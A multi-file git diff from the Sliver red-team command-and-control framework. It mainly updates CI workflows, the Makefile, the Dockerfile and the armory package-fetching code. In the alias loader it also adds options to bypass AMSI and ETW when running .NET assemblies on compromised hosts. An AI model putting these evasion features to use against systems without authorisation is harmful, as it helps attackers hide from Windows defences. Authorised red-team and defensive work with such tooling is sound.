Check nil session

Bump gorm.io/gorm from 1.25.0 to 1.25.1

.github/codeql/codeql-config.yml

@@ -5,4 +5,4 @@ queries:
     uses: security-extended
     paths:
       - server
-      - implant
+      - client

.github/dependabot.yml

@@ -0,0 +1,16 @@
+# Basic set up for three package managers
+
+version: 2
+updates:
+
+  # Maintain dependencies for GitHub Actions
+  - package-ecosystem: "github-actions"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+
+  # Maintain dependencies for go
+  - package-ecosystem: "gomod"
+    directory: "/"
+    schedule:
+      interval: "weekly"

.github/workflows/autorelease.yml

@@ -3,60 +3,58 @@ name: Release
 on:
   push:
     tags: ["v[1-9]+.[0-9]+.[0-9]+"]
-    branches: [master, goreleaser]
+    branches: [master]
 
 jobs:
-
   linux-windows-build:
     name: Linux & Windows Build
     if: startsWith( github.ref, 'refs/tags/v')
     runs-on: ubuntu-latest
     timeout-minutes: 45
     steps:
+      - name: Go 1.20
+        uses: actions/setup-go@v4
+        with:
+          go-version: "1.20.2"
 
-    - name: Go 1.18
-      uses: actions/setup-go@v2
-      with:
-        go-version: '1.18.5'
-    
-    - name: OS Packages 
-      run: |
-        sudo apt-get update --fix-missing && sudo apt-get -y install \
-        git build-essential zlib1g zlib1g-dev wget zip unzip \
-        mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
+      - name: OS Packages
+        run: |
+          sudo apt-get update --fix-missing && sudo apt-get -y install \
+          git build-essential zlib1g zlib1g-dev wget zip unzip \
+          mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
 
-    - name: Check out code into the Go module directory
-      uses: actions/checkout@v2
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v3
 
-    - name: Git Fetch Tags
-      run: git fetch --prune --unshallow --tags -f
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f
 
-    - name: Go Assets
-      run: ./go-assets.sh
+      - name: Go Assets
+        run: ./go-assets.sh
 
-    - name: Make
-      env:
-        ARTIFACT_SUFFIX: _linux
-      run: export PATH=/home/runner/go/bin/:$PATH && make linux
-  
-    - name: Linux Artifacts
-      uses: actions/upload-artifact@v2
-      with:
-        name: linux
-        path: ./sliver-*
+      - name: Make
+        env:
+          ARTIFACT_SUFFIX: _linux
+        run: export PATH=/home/runner/go/bin/:$PATH && make linux
 
-    - name: Make Windows
-      env: 
-        ARTIFACT_SUFFIX: _windows
-      run: |
-        make clean
-        export PATH=/home/runner/go/bin/:$PATH && make windows
+      - name: Linux Artifacts
+        uses: actions/upload-artifact@v3
+        with:
+          name: linux
+          path: ./sliver-*
 
-    - name: Windows Artifacts
-      uses: actions/upload-artifact@v2
-      with:
-        name: windows
-        path:  ./sliver-*
+      - name: Make Windows
+        env:
+          ARTIFACT_SUFFIX: _windows
+        run: |
+          make clean
+          export PATH=/home/runner/go/bin/:$PATH && make windows
+
+      - name: Windows Artifacts
+        uses: actions/upload-artifact@v3
+        with:
+          name: windows
+          path: ./sliver-*
 
   macos-build:
     name: MacOS Build
@@ -64,42 +62,40 @@ jobs:
     runs-on: macos-latest
     timeout-minutes: 45
     steps:
+      - name: Go 1.20
+        uses: actions/setup-go@v4
+        with:
+          go-version: "1.20.2"
 
-    - name: Go 1.18
-      uses: actions/setup-go@v2
-      with:
-        go-version: '1.18.5'
+      - name: Mingw
+        run: brew install mingw-w64
 
-    - name: Mingw
-      run: brew install mingw-w64
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v3
 
-    - name: Check out code into the Go module directory
-      uses: actions/checkout@v2
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f
 
-    - name: Git Fetch Tags
-      run: git fetch --prune --unshallow --tags -f
+      - name: Go Assets
+        run: ./go-assets.sh
 
-    - name: Go Assets
-      run: ./go-assets.sh
+      - name: Make AMD64
+        env:
+          ARTIFACT_SUFFIX: _macos
+        run: make macos
 
-    - name: Make AMD64
-      env: 
-        ARTIFACT_SUFFIX: _macos
-      run: make macos
+      - name: Make ARM64
+        env:
+          ARTIFACT_SUFFIX: _macos-arm64
+        run: make macos-arm64
 
-    - name: Make ARM64
-      env: 
-        ARTIFACT_SUFFIX: _macos-arm64
-      run: make macos-arm64
-
-    - name: MacOS Artifacts
-      uses: actions/upload-artifact@v2
-      with:
-        name: macos
-        path: ./sliver-*
+      - name: MacOS Artifacts
+        uses: actions/upload-artifact@v3
+        with:
+          name: macos
+          path: ./sliver-*
 
   tagged-release:
-
     needs: [linux-windows-build, macos-build]
 
     name: "Tagged Release"
@@ -108,53 +104,52 @@ jobs:
     timeout-minutes: 45
 
     steps:
-  
-    - run: mkdir -p ./builds
-    - uses: actions/download-artifact@v2
-      with:
-        path: ./builds
+      - run: mkdir -p ./builds
+      - uses: actions/download-artifact@v3
+        with:
+          path: ./builds
 
-    - name: Extract Artifacts
-      run: |
-        mkdir -p ./artifacts
-        cp ./builds/linux/* ./artifacts
-        cp ./builds/windows/* ./artifacts
-        cp ./builds/macos/* ./artifacts
+      - name: Extract Artifacts
+        run: |
+          mkdir -p ./artifacts
+          cp ./builds/linux/* ./artifacts
+          cp ./builds/windows/* ./artifacts
+          cp ./builds/macos/* ./artifacts
 
-    - id: install-secret-key
-      name: GPG Key(s)
-      run: |
-        cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
-        gpg --list-secret-keys --keyid-format LONG
+      - id: install-secret-key
+        name: GPG Key(s)
+        run: |
+          cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
+          gpg --list-secret-keys --keyid-format LONG
 
-    # Linux
-    - name: Linux AMD64
-      run: |
-        gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
-        gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
-    
-    # Windows
-    - name: Windows AMD64
-      run: |
-        gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
-        gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
+      # Linux
+      - name: Linux AMD64
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
 
-    # MacOS AMD64
-    - name: MacOS AMD64
-      run: |
-        gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
-        gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
-  
-    # MacOS ARM64
-    - name: Package MacOS ARM64
-      run: |
-        gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
-        gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
-  
-    - name: "Publish Release"
-      uses: "marvinpinto/action-automatic-releases@latest"
-      with:
-        repo_token: "${{ secrets.GITHUB_TOKEN }}"
-        prerelease: true
-        files: |
-          ./artifacts/*
+      # Windows
+      - name: Windows AMD64
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
+
+      # MacOS AMD64
+      - name: MacOS AMD64
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
+
+      # MacOS ARM64
+      - name: Package MacOS ARM64
+        run: |
+          gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
+          gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
+
+      - name: "Publish Release"
+        uses: "marvinpinto/action-automatic-releases@latest"
+        with:
+          repo_token: "${{ secrets.GITHUB_TOKEN }}"
+          prerelease: true
+          files: |
+            ./artifacts/*

.github/workflows/codeql-scanning.yml

@@ -4,26 +4,25 @@ on:
   push:
     branches:
       - test/*
-  # pull_request:
-  #   branches:
-  #     - master
+  pull_request:
+    branches:
+      - master
 
 jobs:
   CodeQL-Build:
     name: CodeQL Security Scan
-    # CodeQL runs on ubuntu-latest, windows-latest, and macos-latest
     runs-on: ubuntu-latest
-    timeout-minutes: 45
+    timeout-minutes: 90
 
     steps:
       # Setup go environment
-      - name: Go 1.18
-        uses: actions/setup-go@v2
+      - name: Go 1.20
+        uses: actions/setup-go@v4
         with:
-          go-version: "1.18.5"
+          go-version: "^1.20"
 
       - name: Checkout repository
-        uses: actions/checkout@v2
+        uses: actions/checkout@v3
         with:
           # Must fetch at least the immediate parents so that if this is
           # a pull request then we can checkout the head of the pull request.
@@ -37,32 +36,15 @@ jobs:
           git build-essential zlib1g zlib1g-dev wget zip unzip \
           mingw-w64 binutils-mingw-w64 g++-mingw-w64
 
-      - name: Protoc
-        env:
-          PROTOC_VER: 3.11.4
-        run: |
-          wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
-          && unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
-          && sudo cp -vv ./bin/protoc /usr/local/bin/protoc
-
-      - name: Protoc-gen-go
-        env:
-          PROTOC_GEN_GO_VER: 1.3.5
-        run: |
-          wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
-          && tar xvf protoc-gen-go.tar.gz \
-          && cd protobuf-${PROTOC_GEN_GO_VER} \
-          && make install
-
       - name: Check out code into the Go module directory
-        uses: actions/checkout@v2
+        uses: actions/checkout@v3
 
       - name: Go Assets
         run: ./go-assets.sh
 
       # Initializes the CodeQL tools for scanning.
       - name: Initialize CodeQL
-        uses: github/codeql-action/init@v1
+        uses: github/codeql-action/init@v2
         with:
           config-file: ./.github/codeql/codeql-config.yml
           languages: go
@@ -72,6 +54,6 @@ jobs:
           make
 
       - name: Perform CodeQL Analysis
-        uses: github/codeql-action/analyze@v1
+        uses: github/codeql-action/analyze@v2
         env:
           VERSION: ${{github.sha}}

.github/workflows/go.yml

@@ -1,8 +1,5 @@
 name: Build & Test
 on:
-  push:
-    branches: 
-      - test/*
   pull_request:
     branches:
       - master
@@ -13,70 +10,67 @@ on:
       - ready_for_review
 
 jobs:
-
   linux-windows-build:
     name: Linux & Windows Build
     runs-on: ubuntu-latest
     timeout-minutes: 90
     steps:
+      - name: Go 1.20
+        uses: actions/setup-go@v4
+        with:
+          go-version: "1.20.2"
 
-    - name: Go 1.18
-      uses: actions/setup-go@v2
-      with:
-        go-version: '1.18.5'
-    
-    - name: OS Packages 
-      run: |
-        sudo apt-get update --fix-missing && sudo apt-get -y install \
-        git build-essential zlib1g zlib1g-dev wget zip unzip \
-        mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
+      - name: OS Packages
+        run: |
+          sudo apt-get update --fix-missing && sudo apt-get -y install \
+          git build-essential zlib1g zlib1g-dev wget zip unzip \
+          mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
 
-    - name: Check out code into the Go module directory
-      uses: actions/checkout@v2
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v3
 
-    - name: Git Fetch Tags
-      run: git fetch --prune --unshallow --tags -f
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f
 
-    - name: Go Assets
-      run: ./go-assets.sh
+      - name: Go Assets
+        run: ./go-assets.sh
 
-    - name: Make
-      run: make linux
+      - name: Make
+        run: make linux
 
-    - name: Test
-      run: ./sliver-server unpack --force && ./go-tests.sh
+      - name: Test
+        run: ./sliver-server unpack --force && ./go-tests.sh
+
+      - name: Make Windows
+        run: make windows
 
-    - name: Make Windows
-      run: make windows
-  
   macos-build:
     name: MacOS Build
     runs-on: macos-latest
     timeout-minutes: 90
     steps:
+      - name: Go 1.20
+        uses: actions/setup-go@v4
+        with:
+          go-version: "1.20.2"
 
-    - name: Go 1.18
-      uses: actions/setup-go@v2
-      with:
-        go-version: '1.18.5'
+      - name: Mingw
+        run: brew install mingw-w64
 
-    - name: Mingw
-      run: brew install mingw-w64
+      - name: Check out code into the Go module directory
+        uses: actions/checkout@v3
 
-    - name: Check out code into the Go module directory
-      uses: actions/checkout@v2
+      - name: Git Fetch Tags
+        run: git fetch --prune --unshallow --tags -f
 
-    - name: Git Fetch Tags
-      run: git fetch --prune --unshallow --tags -f
+      - name: Go Assets
+        run: ./go-assets.sh
 
-    - name: Go Assets
-      run: ./go-assets.sh
+      - name: Make
+        run: make macos
 
-    - name: Make
-      run: make macos
-
-    - name: Test
-      env:
-        SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
-        SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
-      run: ./sliver-server unpack --force && ./go-tests.sh
+      - name: Test
+        env:
+          SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
+          SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
+        run: ./sliver-server unpack --force && ./go-tests.sh

.gitignore

@@ -42,3 +42,6 @@ sliver-server-windows.zip
 .DS_Store
 
 dist/
+
+# Flag to show that go-assets.sh has been run
+.downloaded_assets

Dockerfile

@@ -1,4 +1,4 @@
-FROM golang:1.18.5
+FROM golang:1.20.4
 
 #
 # IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -6,7 +6,7 @@ FROM golang:1.18.5
 #            a Docker deployment this is probably a good place to start.
 #
 
-ENV PROTOC_VER 3.19.4
+ENV PROTOC_VER 21.12
 ENV PROTOC_GEN_GO_VER v1.27.1
 ENV GRPC_GO v1.2.0
 
@@ -52,11 +52,8 @@ RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER}
 
 # Go assets
 WORKDIR /go/src/github.com/bishopfox/sliver
-ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
-RUN ./go-assets.sh
-
-# Compile sliver server
 ADD . /go/src/github.com/bishopfox/sliver/
+RUN make clean-all
 RUN make \
     && cp -vv sliver-server /opt/sliver-server \
     && /opt/sliver-server unpack --force 

Makefile

@@ -5,7 +5,7 @@
 GO ?= go
 ARTIFACT_SUFFIX ?= 
 ENV =
-TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
+TAGS ?= -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
 
 
 #
@@ -47,6 +47,15 @@ LDFLAGS = -ldflags "-s -w \
 	-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
 	-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
 
+# Debug builds can't be stripped (-s -w flags)
+LDFLAGS_DEBUG = -ldflags "-X $(VERSION_PKG).Version=$(VERSION) \
+	-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
+	-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
+	-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
+	-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
+	-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
+	-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
+	-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
 
 SED_INPLACE := sed -i
 STATIC_TARGET := linux
@@ -99,36 +108,42 @@ ifeq ($(MAKECMDGOALS), linux)
 		-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
 endif
 
+ifeq ($(MAKECMDGOALS), linux-arm64)
+	# Redefine TAGS/ENV to use pure go sqlite3
+	TAGS = -tags osusergo,netgo,gosqlite
+	ENV = CGO_ENABLED=0
+endif
+
 #
 # Targets
 #
 .PHONY: default
-default: clean validate-go-version
+default: clean .downloaded_assets validate-go-version
 	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
 	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: macos
-macos: clean validate-go-version
+macos: clean .downloaded_assets validate-go-version
 	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
 	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: macos-arm64
-macos-arm64: clean validate-go-version
+macos-arm64: clean .downloaded_assets validate-go-version
 	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
 	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: linux
-linux: clean validate-go-version
+linux: clean .downloaded_assets validate-go-version
 	GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
 	GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: linux-arm64
-linux-arm64: clean validate-go-version
+linux-arm64: clean .downloaded_assets validate-go-version
 	GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
 	GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: windows
-windows: clean validate-go-version
+windows: clean .downloaded_assets validate-go-version
 	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
 	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
 
@@ -140,6 +155,11 @@ pb:
 	protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
 	protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative 
 
+.PHONY: debug
+debug: clean
+	$(ENV) $(GO) build -mod=vendor $(TAGS),server $(LDFLAGS_DEBUG) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	$(ENV) $(GO) build -mod=vendor $(TAGS),client $(LDFLAGS_DEBUG) -o sliver-client$(ARTIFACT_SUFFIX) ./client
+
 validate-go-version:
 	@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
 		exit 0 ;\
@@ -158,7 +178,12 @@ clean-all: clean
 	rm -rf ./server/assets/fs/windows/amd64
 	rm -rf ./server/assets/fs/linux/amd64
 	rm -f ./server/assets/fs/*.zip
+	rm -f ./.downloaded_assets
 
 .PHONY: clean
 clean:
 	rm -f sliver-client sliver-server sliver-*.exe
+
+.downloaded_assets:
+	./go-assets.sh
+	touch ./.downloaded_assets

README.md

@@ -5,7 +5,7 @@ Sliver is an open source cross-platform adversary emulation/red team framework,
 
 The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
 
-![Go](https://github.com/BishopFox/sliver/workflows/Go/badge.svg?branch=master) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
+[![Release](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml/badge.svg)](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [![Go Report Card](https://goreportcard.com/badge/github.com/BishopFox/sliver)](https://goreportcard.com/report/github.com/BishopFox/sliver) [![License: GPL v3](https://img.shields.io/badge/License-GPLv3-blue.svg)](https://www.gnu.org/licenses/gpl-3.0)
 
 ### Features
 

SECURITY.md

@@ -15,4 +15,4 @@ Anything in the `master` branch, without an open ticket.
 
 ### Reporting a Vulnerability
 
-Please report high and/or critical vulnerabilities via email `jdemesy<[a]>bishopfox.com`, if no response within 14 days, file a ticket with a `security` tag. Medium to Low risk vulnerabilities can simply be filed as a normal bug/issue with the `security` tag.
+Please report high and/or critical vulnerabilities via GitHub's private [report a vulnerability feature](https://github.com/BishopFox/sliver/security/advisories).

client/command/alias/load.go

@@ -22,7 +22,6 @@ import (
 	"context"
 	"encoding/json"
 	"fmt"
-	"io/ioutil"
 	"os"
 	"path"
 	"path/filepath"
@@ -142,7 +141,7 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
 	}
 
 	// parse it
-	data, err := ioutil.ReadFile(manifestPath)
+	data, err := os.ReadFile(manifestPath)
 	if err != nil {
 		return nil, err
 	}
@@ -281,8 +280,30 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	extArgs = strings.TrimSpace(extArgs)
 	entryPoint := aliasManifest.Entrypoint
 	processArgsStr := ctx.Flags.String("process-arguments")
+	// Special case for payloads with pass to Donut (.NET assemblies and sideloaded payloads):
+	// The Donut loader has a hard limit of 256 characters for the command line arguments, so
+	// we're alerting the user that the arguments will be truncated.
 	if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
-		con.PrintWarnf(" Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies and non-reflective PE files.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n")
+		msgStr := ""
+		// The --in-process flag only exists for .NET assemblies (aliasManifest.IsAssembly == true).
+		// Groupping the two conditions together could crash the client since ctx.Flags.Type panics
+		// if the flag is not registered.
+		if aliasManifest.IsAssembly {
+			inProcess := ctx.Flags.Bool("in-process")
+			runtime := ctx.Flags.String("runtime")
+			amsiBypass := ctx.Flags.Bool("amsi-bypass")
+			etwBypass := ctx.Flags.Bool("etw-bypass")
+			if !inProcess {
+				msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n"
+			}
+			if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
+				con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
+				return
+			}
+		} else if !aliasManifest.IsReflective {
+			msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for non-reflective PE payloads.\n"
+		}
+		con.PrintWarnf(msgStr)
 		confirm := false
 		prompt := &survey.Confirm{Message: "Do you want to continue?"}
 		survey.AskOne(prompt, &confirm, nil)
@@ -303,7 +324,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
 		isDLL = true
 	}
-	binData, err := ioutil.ReadFile(binPath)
+	binData, err := os.ReadFile(binPath)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
@@ -311,7 +332,7 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	var outFilePath *os.File
 	if ctx.Flags.Bool("save") {
 		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
-		outFilePath, err = ioutil.TempFile("", outFile)
+		outFilePath, err = os.CreateTemp("", outFile)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return

client/command/armory/armory.go

@@ -484,7 +484,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig
 
 	var sig *minisign.Signature
 	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
-		sig, _, err = pkgParser(armoryPkg, true, clientConfig)
+		sig, _, err = pkgParser(armoryConfig, armoryPkg, true, clientConfig)
 	} else {
 		sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
 	}

client/command/armory/install.go

@@ -143,7 +143,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
 	var sig *minisign.Signature
 	var tarGz []byte
 	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
-		sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
+		sig, tarGz, err = pkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
 	} else {
 		sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
 	}
@@ -261,7 +261,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
 	var sig *minisign.Signature
 	var tarGz []byte
 	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
-		sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
+		sig, tarGz, err = pkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
 	} else {
 		sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
 	}

client/command/armory/parsers.go

@@ -40,7 +40,7 @@ import (
 type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
 
 // ArmoryPackageParser - Generic interface to fetch armory package manifests
-type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
+type ArmoryPackageParser func(*assets.ArmoryConfig, *ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
 
 var (
 	indexParsers = map[string]ArmoryIndexParser{
@@ -79,28 +79,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
 		return nil, err
 	}
 
-	client := httpClient(clientConfig)
-	repoURL, err := url.Parse(armoryConfig.RepoURL)
-	if err != nil {
-		return nil, err
-	}
-	req := &http.Request{
-		Method: http.MethodGet,
-		URL:    repoURL,
-		Header: map[string][]string{},
-	}
-	if armoryConfig.Authorization != "" {
-		req.Header.Set("Authorization", armoryConfig.Authorization)
-	}
-	resp, err := client.Do(req)
-	if err != nil {
-		return nil, err
-	}
-	defer resp.Body.Close()
-	body, err := ioutil.ReadAll(resp.Body)
-	if err != nil {
-		return nil, err
-	}
+	resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
 	if resp.StatusCode != http.StatusOK {
 		return nil, errors.New("api returned non-200 status code")
 	}
@@ -125,9 +104,8 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
 		return nil, errors.New("index has invalid signature")
 	}
 
-	armoryIndex := &ArmoryIndex{ArmoryConfig: armoryConfig}
-	if err != nil {
-		return nil, err
+	armoryIndex := &ArmoryIndex{
+		ArmoryConfig: armoryConfig,
 	}
 	err = json.Unmarshal(armoryIndexData, armoryIndex)
 	if err != nil {
@@ -144,25 +122,7 @@ func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *Armory
 		return nil, nil, err
 	}
 
-	client := httpClient(clientConfig)
-	repoURL, err := url.Parse(armoryConfig.RepoURL)
-	if err != nil {
-		return nil, nil, err
-	}
-	req := &http.Request{
-		Method: http.MethodGet,
-		URL:    repoURL,
-		Header: map[string][]string{},
-	}
-	if armoryConfig.Authorization != "" {
-		req.Header.Set("Authorization", armoryConfig.Authorization)
-	}
-	resp, err := client.Do(req)
-	if err != nil {
-		return nil, nil, err
-	}
-	defer resp.Body.Close()
-	body, err := ioutil.ReadAll(resp.Body)
+	resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
 	if err != nil {
 		return nil, nil, err
 	}
@@ -187,18 +147,10 @@ func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *Armory
 		if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
 			return nil, nil, errors.New("invalid url scheme")
 		}
-		resp, err := client.Get(tarGzURL.String())
+		tarGz, err = downloadRequest(clientConfig, tarGzURL.String(), armoryConfig)
 		if err != nil {
 			return nil, nil, err
 		}
-		defer resp.Body.Close()
-		tarGz, err = ioutil.ReadAll(resp.Body)
-		if err != nil {
-			return nil, nil, err
-		}
-		if resp.StatusCode != http.StatusOK {
-			return nil, nil, errors.New("api returned non-200 status code")
-		}
 	}
 	return sig, tarGz, nil
 }
@@ -239,13 +191,7 @@ func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig
 		return nil, err
 	}
 
-	client := httpClient(clientConfig)
-	resp, err := client.Get(armoryConfig.RepoURL)
-	if err != nil {
-		return nil, err
-	}
-	defer resp.Body.Close()
